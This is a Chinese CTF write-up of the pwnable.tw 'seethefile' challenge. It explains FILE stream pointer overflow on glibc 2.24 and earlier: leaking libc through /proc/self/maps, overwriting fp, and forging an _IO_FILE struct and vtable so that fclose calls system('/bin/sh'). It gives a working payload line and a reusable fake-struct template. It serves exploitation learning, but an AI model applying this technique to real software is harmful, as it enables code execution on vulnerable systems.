pwnable.tw做到250pt就連偷看wp也領悟不能,exp是不可能會寫的,shellcode編碼也是編不出來的,比較有眼緣的一道seethefile,在看了大佬哄完女票睡覺后的文章之后迫不及待嘗試了一個demo也失敗了。
身邊的大佬說libc新版會有檢查,我以為只是為了安慰我,時隔半年再翻出來終于在google字縫里看到了libc<=2.24這個說法。不信邪拿2.26硬試,一點一點仿照正常流程修改偽造的結構體,最后卡在vtable檢查函數之前一籌莫展。
先把demo放在一邊,拿出seethefile試了下vmmap發現libc用的是2.23,善。
0x00 首先搬運一下關于File結構體的姿勢:
參考自:
暫時沒找到bin的東華杯pwn450 wp?溢出利用FILE結構體? --安全客
以及情人節這天膜起來分外寒冷的?Head First FILE Stream Pointer Overflow --WooYun知識庫
1.struct? _IO_FILE
2.平常使用file結構體的情景:
FILE* fp=fopen( "file name" , "r" ) ;
事實上,系統并不是直接分配的FILE(_IO_FILE)結構體,而是名字為_IO_FILE_plus結構體,這個結構體包含了_IO_FILE結構體,還包含了一個虛函數表指針:
vtable指向的內容:
整體上大致如下:
利用的思路就是想辦法溢出覆蓋掉fp,使其指向一塊可控的內存區域,并在該位置偽造_IO_FILE_plus結構體,以及vtable指向的函數表,最后在函數表相應位置填入system地址來拿shell。
0x01 pwnable.tw之seethefile
實際上是拿這道題作為入門fsp(File Stream Pointer Overflow)的一個demo。
1.首先程序流程分析,功能菜單有打開文件,讀文件,寫文件,關閉文件,退出時一個scanf加%s是溢出點可以覆蓋掉fp指針,需要32bytes的paddings。
2.因為這里fp指針保存在bss段而非棧或堆上,所以不需要泄露棧地址或堆地址了,給了libc.so的話只需要泄露libc基址。因為有讀文件的功能很敏感的想到linux系統本身的文件機制,而且讀文件的時候只對諸如“flag”、“Flag”、“{”做了檢查,顯然可以讀取/proc/self/maps來泄露程序內存映像:
還是熟悉的味道,還是熟悉的maps,沒毛病!因為讀文件每次只讀了399字節,所以要多讀幾次,得到libc基址,結合題目給的libc.so得到system實際地址。
3.接著開始主要工作,fsp的利用。首先根據標準的 _IO_FILE結構體(例如stderr)做一個fake_struct的雛形:
其中所有地址因為地址隨機化的緣故可能都不能用了,先用'AAAA'或者'BBBB'替換掉,其他位置照抄就可以。另外一些文章里面關于_IO_FILE結構體大小是160字節的說法應該有一點問題,_IO_FILE的大小應該是0x94(148)字節。
暫時為'AAAA'的部分直接替換成一個可讀可寫的地址就可以(這里用name的地址),至于'BBBB'應指向vtable,因為這里準備直接把函數表vtable放在fake_struct后面,所以'BBBB'替換為fake_struct的起始地址+0x98
緊跟在fake_struct后面放置偽造的函數表,結合原本的vtable:
把開始的兩個四字節置全0,剩下的全部置為system的地址:
payload='\x00'*32+p32(0x804b284)+fake_struct+p32(0)*2+p32(system_addr)*15 + p32(system_addr))
經過調試可以發現,fclose()實際的實現過程是先調用_IO_file_close_it(其中_IO_FILE結構起始地址作為第一個參數)
單步步入,最后發現實際上對函數表的查找和調用位于_IO_file_close_it+271
此時eax的值為vtable函數表的起始地址,執行offset :0x44即vtable[17]處的函數,我們往fake vtable中填入了2個零指針和16個system指針,顯然夠用了。這時棧頂存放的正是_IO_file_close_it的第一個參數,前面已經把_IO_FILE的開始位置填入"/bin/sh\x00",從而相當于執行了system("/bin/sh")成功拿到shell!
最后放上fake _IO_FILE struct和fake vtable的樣板:
fake_struct=[ '/bin/sh\x00' ,'\x00\x00\x00\x00','\x00\x00\x00\x00',? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? '\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00',? ? ? '\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00', '\x00\x00\x00\x00','AAAA' ,'\x03\x00\x00\x00','\x00\x00\x00\x00', '\x00\x00\x00\x00','\x00\x00\x00\x00','AAAA' ,'\xff\xff\xff\xff', '\xff\xff\xff\xff','\x00\x00\x00\x00','AAAA' ,'\x00\x00\x00\x00', '\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00', '\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00', '\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00','\x00\x00\x00\x00', '\x00\x00\x00\x00','BBBB' ]
fake_struct=''.join(fake_struct)
fake_struct=fake_struct.replace('AAAA',p32(addr1))? ? ? ? ?#可讀寫的有效地址
fake_struct=fake_struct.replace('BBBB',p32(addr2))? ? ? ? ? #?_IO_FILE struct 起始地址+0x98
vtable=p32(0)*2
vtable+=p32(system_addr)*16
僅適用于libc<=2.24
感興趣的同學也可以鉆研一波libc2.26的fsp利用。